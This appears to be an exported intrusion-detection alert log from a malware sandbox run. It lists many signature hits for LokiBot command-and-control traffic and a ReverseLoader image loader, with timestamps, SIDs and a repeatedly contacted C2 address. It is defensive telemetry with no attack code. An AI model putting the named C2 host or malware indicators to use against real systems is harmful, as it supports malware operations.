2024-10-25T19:48:25.267832+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49219	TCP
2024-10-25T19:48:26.482088+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49220	TCP
2024-10-25T19:48:27.607681+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49221	TCP
2024-10-25T19:48:28.904566+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49222	TCP
2024-10-25T19:48:30.490981+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49223	TCP
2024-10-25T19:48:31.615869+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49224	TCP
2024-10-25T19:48:33.510391+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49225	TCP
2024-10-25T19:48:34.649178+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49226	TCP
2024-10-25T19:48:35.888509+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49227	TCP
2024-10-25T19:48:37.065172+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49228	TCP
2024-10-25T19:48:38.222821+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49229	TCP
2024-10-25T19:48:39.345781+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49230	TCP
2024-10-25T19:48:40.469850+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49231	TCP
2024-10-25T19:48:41.696164+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49232	TCP
2024-10-25T19:48:42.843448+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49233	TCP
2024-10-25T19:48:43.956616+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49234	TCP
2024-10-25T19:48:45.405993+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49235	TCP
2024-10-25T19:48:46.521025+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49236	TCP
2024-10-25T19:48:47.893137+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49237	TCP
2024-10-25T19:48:49.059047+0200	2025483	1	A Network Trojan was detected	94.156.177.220	80	192.168.2.22	49238	TCP

ET MALWARE LokiBot Request for C2 Commands Detected M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-25T19:47:33.245436+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49179	94.156.177.220	80	TCP
2024-10-25T19:47:34.380626+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49180	94.156.177.220	80	TCP
2024-10-25T19:47:35.539534+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49181	94.156.177.220	80	TCP
2024-10-25T19:47:36.652853+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49182	94.156.177.220	80	TCP
2024-10-25T19:47:37.783748+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49183	94.156.177.220	80	TCP
2024-10-25T19:47:38.954278+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49184	94.156.177.220	80	TCP
2024-10-25T19:47:40.073710+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49185	94.156.177.220	80	TCP
2024-10-25T19:47:41.264102+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49186	94.156.177.220	80	TCP
2024-10-25T19:47:42.528982+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49187	94.156.177.220	80	TCP
2024-10-25T19:47:43.673904+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49188	94.156.177.220	80	TCP
2024-10-25T19:47:44.839508+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49189	94.156.177.220	80	TCP
2024-10-25T19:47:46.223466+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49190	94.156.177.220	80	TCP
2024-10-25T19:47:47.537204+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49191	94.156.177.220	80	TCP
2024-10-25T19:47:49.209118+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49192	94.156.177.220	80	TCP
2024-10-25T19:47:50.669845+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49193	94.156.177.220	80	TCP
2024-10-25T19:47:51.785905+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49194	94.156.177.220	80	TCP
2024-10-25T19:47:53.227500+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49195	94.156.177.220	80	TCP
2024-10-25T19:47:54.716652+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49196	94.156.177.220	80	TCP
2024-10-25T19:47:56.856270+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49197	94.156.177.220	80	TCP
2024-10-25T19:47:58.001493+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49198	94.156.177.220	80	TCP
2024-10-25T19:47:59.097513+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49199	94.156.177.220	80	TCP
2024-10-25T19:48:00.217100+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49200	94.156.177.220	80	TCP
2024-10-25T19:48:01.711331+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49201	94.156.177.220	80	TCP
2024-10-25T19:48:02.893436+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49202	94.156.177.220	80	TCP
2024-10-25T19:48:04.117691+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49203	94.156.177.220	80	TCP
2024-10-25T19:48:06.018926+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49204	94.156.177.220	80	TCP
2024-10-25T19:48:07.180926+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49205	94.156.177.220	80	TCP
2024-10-25T19:48:08.669977+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49206	94.156.177.220	80	TCP
2024-10-25T19:48:10.268572+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49207	94.156.177.220	80	TCP
2024-10-25T19:48:11.421150+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49208	94.156.177.220	80	TCP
2024-10-25T19:48:12.553222+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49209	94.156.177.220	80	TCP
2024-10-25T19:48:13.654849+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49210	94.156.177.220	80	TCP
2024-10-25T19:48:14.802012+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49211	94.156.177.220	80	TCP
2024-10-25T19:48:15.954913+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49212	94.156.177.220	80	TCP
2024-10-25T19:48:17.113438+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49213	94.156.177.220	80	TCP
2024-10-25T19:48:18.230790+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49214	94.156.177.220	80	TCP
2024-10-25T19:48:19.339340+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49215	94.156.177.220	80	TCP
2024-10-25T19:48:21.515560+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49216	94.156.177.220	80	TCP
2024-10-25T19:48:22.612972+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49217	94.156.177.220	80	TCP
2024-10-25T19:48:23.747741+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49218	94.156.177.220	80	TCP
2024-10-25T19:48:25.267602+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49219	94.156.177.220	80	TCP
2024-10-25T19:48:26.476147+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49220	94.156.177.220	80	TCP
2024-10-25T19:48:27.601724+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49221	94.156.177.220	80	TCP
2024-10-25T19:48:28.904521+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49222	94.156.177.220	80	TCP
2024-10-25T19:48:30.482885+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49223	94.156.177.220	80	TCP
2024-10-25T19:48:31.609570+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49224	94.156.177.220	80	TCP
2024-10-25T19:48:33.510308+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49225	94.156.177.220	80	TCP
2024-10-25T19:48:34.643295+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49226	94.156.177.220	80	TCP
2024-10-25T19:48:35.881647+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49227	94.156.177.220	80	TCP
2024-10-25T19:48:37.059066+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49228	94.156.177.220	80	TCP
2024-10-25T19:48:38.186812+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49229	94.156.177.220	80	TCP
2024-10-25T19:48:39.340217+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49230	94.156.177.220	80	TCP
2024-10-25T19:48:40.463831+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49231	94.156.177.220	80	TCP
2024-10-25T19:48:41.689908+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49232	94.156.177.220	80	TCP
2024-10-25T19:48:42.837406+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49233	94.156.177.220	80	TCP
2024-10-25T19:48:43.950579+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49234	94.156.177.220	80	TCP
2024-10-25T19:48:45.400039+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49235	94.156.177.220	80	TCP
2024-10-25T19:48:46.514822+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49236	94.156.177.220	80	TCP
2024-10-25T19:48:47.892066+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49237	94.156.177.220	80	TCP
2024-10-25T19:48:49.052913+0200	2024313	1	Malware Command and Control Activity Detected	192.168.2.22	49238	94.156.177.220	80	TCP

ET MALWARE LokiBot Request for C2 Commands Detected M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-25T19:47:33.245436+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49179	94.156.177.220	80	TCP
2024-10-25T19:47:34.380626+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49180	94.156.177.220	80	TCP
2024-10-25T19:47:35.539534+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49181	94.156.177.220	80	TCP
2024-10-25T19:47:36.652853+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49182	94.156.177.220	80	TCP
2024-10-25T19:47:37.783748+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49183	94.156.177.220	80	TCP
2024-10-25T19:47:38.954278+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49184	94.156.177.220	80	TCP
2024-10-25T19:47:40.073710+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49185	94.156.177.220	80	TCP
2024-10-25T19:47:41.264102+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49186	94.156.177.220	80	TCP
2024-10-25T19:47:42.528982+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49187	94.156.177.220	80	TCP
2024-10-25T19:47:43.673904+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49188	94.156.177.220	80	TCP
2024-10-25T19:47:44.839508+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49189	94.156.177.220	80	TCP
2024-10-25T19:47:46.223466+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49190	94.156.177.220	80	TCP
2024-10-25T19:47:47.537204+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49191	94.156.177.220	80	TCP
2024-10-25T19:47:49.209118+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49192	94.156.177.220	80	TCP
2024-10-25T19:47:50.669845+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49193	94.156.177.220	80	TCP
2024-10-25T19:47:51.785905+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49194	94.156.177.220	80	TCP
2024-10-25T19:47:53.227500+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49195	94.156.177.220	80	TCP
2024-10-25T19:47:54.716652+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49196	94.156.177.220	80	TCP
2024-10-25T19:47:56.856270+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49197	94.156.177.220	80	TCP
2024-10-25T19:47:58.001493+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49198	94.156.177.220	80	TCP
2024-10-25T19:47:59.097513+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49199	94.156.177.220	80	TCP
2024-10-25T19:48:00.217100+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49200	94.156.177.220	80	TCP
2024-10-25T19:48:01.711331+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49201	94.156.177.220	80	TCP
2024-10-25T19:48:02.893436+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49202	94.156.177.220	80	TCP
2024-10-25T19:48:04.117691+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49203	94.156.177.220	80	TCP
2024-10-25T19:48:06.018926+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49204	94.156.177.220	80	TCP
2024-10-25T19:48:07.180926+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49205	94.156.177.220	80	TCP
2024-10-25T19:48:08.669977+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49206	94.156.177.220	80	TCP
2024-10-25T19:48:10.268572+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49207	94.156.177.220	80	TCP
2024-10-25T19:48:11.421150+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49208	94.156.177.220	80	TCP
2024-10-25T19:48:12.553222+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49209	94.156.177.220	80	TCP
2024-10-25T19:48:13.654849+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49210	94.156.177.220	80	TCP
2024-10-25T19:48:14.802012+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49211	94.156.177.220	80	TCP
2024-10-25T19:48:15.954913+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49212	94.156.177.220	80	TCP
2024-10-25T19:48:17.113438+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49213	94.156.177.220	80	TCP
2024-10-25T19:48:18.230790+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49214	94.156.177.220	80	TCP
2024-10-25T19:48:19.339340+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49215	94.156.177.220	80	TCP
2024-10-25T19:48:21.515560+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49216	94.156.177.220	80	TCP
2024-10-25T19:48:22.612972+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49217	94.156.177.220	80	TCP
2024-10-25T19:48:23.747741+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49218	94.156.177.220	80	TCP
2024-10-25T19:48:25.267602+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49219	94.156.177.220	80	TCP
2024-10-25T19:48:26.476147+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49220	94.156.177.220	80	TCP
2024-10-25T19:48:27.601724+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49221	94.156.177.220	80	TCP
2024-10-25T19:48:28.904521+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49222	94.156.177.220	80	TCP
2024-10-25T19:48:30.482885+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49223	94.156.177.220	80	TCP
2024-10-25T19:48:31.609570+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49224	94.156.177.220	80	TCP
2024-10-25T19:48:33.510308+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49225	94.156.177.220	80	TCP
2024-10-25T19:48:34.643295+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49226	94.156.177.220	80	TCP
2024-10-25T19:48:35.881647+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49227	94.156.177.220	80	TCP
2024-10-25T19:48:37.059066+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49228	94.156.177.220	80	TCP
2024-10-25T19:48:38.186812+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49229	94.156.177.220	80	TCP
2024-10-25T19:48:39.340217+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49230	94.156.177.220	80	TCP
2024-10-25T19:48:40.463831+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49231	94.156.177.220	80	TCP
2024-10-25T19:48:41.689908+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49232	94.156.177.220	80	TCP
2024-10-25T19:48:42.837406+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49233	94.156.177.220	80	TCP
2024-10-25T19:48:43.950579+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49234	94.156.177.220	80	TCP
2024-10-25T19:48:45.400039+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49235	94.156.177.220	80	TCP
2024-10-25T19:48:46.514822+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49236	94.156.177.220	80	TCP
2024-10-25T19:48:47.892066+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49237	94.156.177.220	80	TCP
2024-10-25T19:48:49.052913+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49238	94.156.177.220	80	TCP

ET MALWARE LokiBot User-Agent (Charon/Inferno)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-25T19:47:30.125461+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49177	94.156.177.220	80	TCP
2024-10-25T19:47:31.196023+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49178	94.156.177.220	80	TCP
2024-10-25T19:47:32.276137+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49179	94.156.177.220	80	TCP
2024-10-25T19:47:33.419412+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49180	94.156.177.220	80	TCP
2024-10-25T19:47:34.553307+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49181	94.156.177.220	80	TCP
2024-10-25T19:47:35.682148+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49182	94.156.177.220	80	TCP
2024-10-25T19:47:36.809250+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49183	94.156.177.220	80	TCP
2024-10-25T19:47:37.964782+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49184	94.156.177.220	80	TCP
2024-10-25T19:47:39.095717+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49185	94.156.177.220	80	TCP
2024-10-25T19:47:40.313650+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49186	94.156.177.220	80	TCP
2024-10-25T19:47:41.572656+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49187	94.156.177.220	80	TCP
2024-10-25T19:47:42.669867+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49188	94.156.177.220	80	TCP
2024-10-25T19:47:43.859217+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49189	94.156.177.220	80	TCP
2024-10-25T19:47:45.251829+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49190	94.156.177.220	80	TCP
2024-10-25T19:47:46.366646+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49191	94.156.177.220	80	TCP
2024-10-25T19:47:48.195618+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49192	94.156.177.220	80	TCP
2024-10-25T19:47:49.699028+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49193	94.156.177.220	80	TCP
2024-10-25T19:47:50.827790+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49194	94.156.177.220	80	TCP
2024-10-25T19:47:52.236705+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49195	94.156.177.220	80	TCP
2024-10-25T19:47:53.769908+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49196	94.156.177.220	80	TCP
2024-10-25T19:47:55.891682+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49197	94.156.177.220	80	TCP
2024-10-25T19:47:57.017578+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49198	94.156.177.220	80	TCP
2024-10-25T19:47:58.148222+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49199	94.156.177.220	80	TCP
2024-10-25T19:47:59.236458+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49200	94.156.177.220	80	TCP
2024-10-25T19:48:00.465093+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49201	94.156.177.220	80	TCP
2024-10-25T19:48:01.939381+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49202	94.156.177.220	80	TCP
2024-10-25T19:48:03.143555+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49203	94.156.177.220	80	TCP
2024-10-25T19:48:05.042808+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49204	94.156.177.220	80	TCP
2024-10-25T19:48:06.193354+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49205	94.156.177.220	80	TCP
2024-10-25T19:48:07.340179+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49206	94.156.177.220	80	TCP
2024-10-25T19:48:09.129653+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49207	94.156.177.220	80	TCP
2024-10-25T19:48:10.449357+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49208	94.156.177.220	80	TCP
2024-10-25T19:48:11.574921+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49209	94.156.177.220	80	TCP
2024-10-25T19:48:12.702426+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49210	94.156.177.220	80	TCP
2024-10-25T19:48:13.818338+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49211	94.156.177.220	80	TCP
2024-10-25T19:48:14.990332+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49212	94.156.177.220	80	TCP
2024-10-25T19:48:16.113459+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49213	94.156.177.220	80	TCP
2024-10-25T19:48:17.275374+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49214	94.156.177.220	80	TCP
2024-10-25T19:48:18.375204+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49215	94.156.177.220	80	TCP
2024-10-25T19:48:20.414608+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49216	94.156.177.220	80	TCP
2024-10-25T19:48:21.661835+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49217	94.156.177.220	80	TCP
2024-10-25T19:48:22.764766+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49218	94.156.177.220	80	TCP
2024-10-25T19:48:23.900246+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49219	94.156.177.220	80	TCP
2024-10-25T19:48:25.468506+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49220	94.156.177.220	80	TCP
2024-10-25T19:48:26.635806+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49221	94.156.177.220	80	TCP
2024-10-25T19:48:27.759681+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49222	94.156.177.220	80	TCP
2024-10-25T19:48:29.516389+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49223	94.156.177.220	80	TCP
2024-10-25T19:48:30.633390+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49224	94.156.177.220	80	TCP
2024-10-25T19:48:32.209099+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49225	94.156.177.220	80	TCP
2024-10-25T19:48:33.662009+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49226	94.156.177.220	80	TCP
2024-10-25T19:48:34.906884+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49227	94.156.177.220	80	TCP
2024-10-25T19:48:36.058065+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49228	94.156.177.220	80	TCP
2024-10-25T19:48:37.216587+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49229	94.156.177.220	80	TCP
2024-10-25T19:48:38.335924+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49230	94.156.177.220	80	TCP
2024-10-25T19:48:39.495066+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49231	94.156.177.220	80	TCP
2024-10-25T19:48:40.730504+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49232	94.156.177.220	80	TCP
2024-10-25T19:48:41.853254+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49233	94.156.177.220	80	TCP
2024-10-25T19:48:42.979309+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49234	94.156.177.220	80	TCP
2024-10-25T19:48:44.455325+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49235	94.156.177.220	80	TCP
2024-10-25T19:48:45.538198+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49236	94.156.177.220	80	TCP
2024-10-25T19:48:46.666514+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49237	94.156.177.220	80	TCP
2024-10-25T19:48:48.090331+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49238	94.156.177.220	80	TCP

ET MALWARE ReverseLoader Reverse Base64 Loader In Image M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-25T19:47:08.765943+0200	2049038	1	A Network Trojan was detected	142.250.185.97	443	192.168.2.22	49172	TCP
2024-10-25T19:47:16.326539+0200	2049038	1	A Network Trojan was detected	142.250.185.97	443	192.168.2.22	49174	TCP

ETPRO MALWARE LokiBot Checkin M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-25T19:47:30.125461+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49177	94.156.177.220	80	TCP
2024-10-25T19:47:31.196023+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49178	94.156.177.220	80	TCP
2024-10-25T19:47:32.276137+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49179	94.156.177.220	80	TCP
2024-10-25T19:47:33.419412+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49180	94.156.177.220	80	TCP
2024-10-25T19:47:34.553307+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49181	94.156.177.220	80	TCP
2024-10-25T19:47:35.682148+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49182	94.156.177.220	80	TCP
2024-10-25T19:47:36.809250+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49183	94.156.177.220	80	TCP
2024-10-25T19:47:37.964782+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49184	94.156.177.220	80	TCP
2024-10-25T19:47:39.095717+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49185	94.156.177.220	80	TCP
2024-10-25T19:47:40.313650+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49186	94.156.177.220	80	TCP
2024-10-25T19:47:41.572656+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49187	94.156.177.220	80	TCP
2024-10-25T19:47:42.669867+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49188	94.156.177.220	80	TCP
2024-10-25T19:47:43.859217+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49189	94.156.177.220	80	TCP
2024-10-25T19:47:45.251829+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49190	94.156.177.220	80	TCP
2024-10-25T19:47:46.366646+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49191	94.156.177.220	80	TCP
2024-10-25T19:47:48.195618+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49192	94.156.177.220	80	TCP
2024-10-25T19:47:49.699028+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49193	94.156.177.220	80	TCP
2024-10-25T19:47:50.827790+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49194	94.156.177.220	80	TCP
2024-10-25T19:47:52.236705+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49195	94.156.177.220	80	TCP
2024-10-25T19:47:53.769908+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49196	94.156.177.220	80	TCP
2024-10-25T19:47:55.891682+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49197	94.156.177.220	80	TCP
2024-10-25T19:47:57.017578+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49198	94.156.177.220	80	TCP
2024-10-25T19:47:58.148222+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49199	94.156.177.220	80	TCP
2024-10-25T19:47:59.236458+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49200	94.156.177.220	80	TCP
2024-10-25T19:48:00.465093+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49201	94.156.177.220	80	TCP
2024-10-25T19:48:01.939381+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49202	94.156.177.220	80	TCP
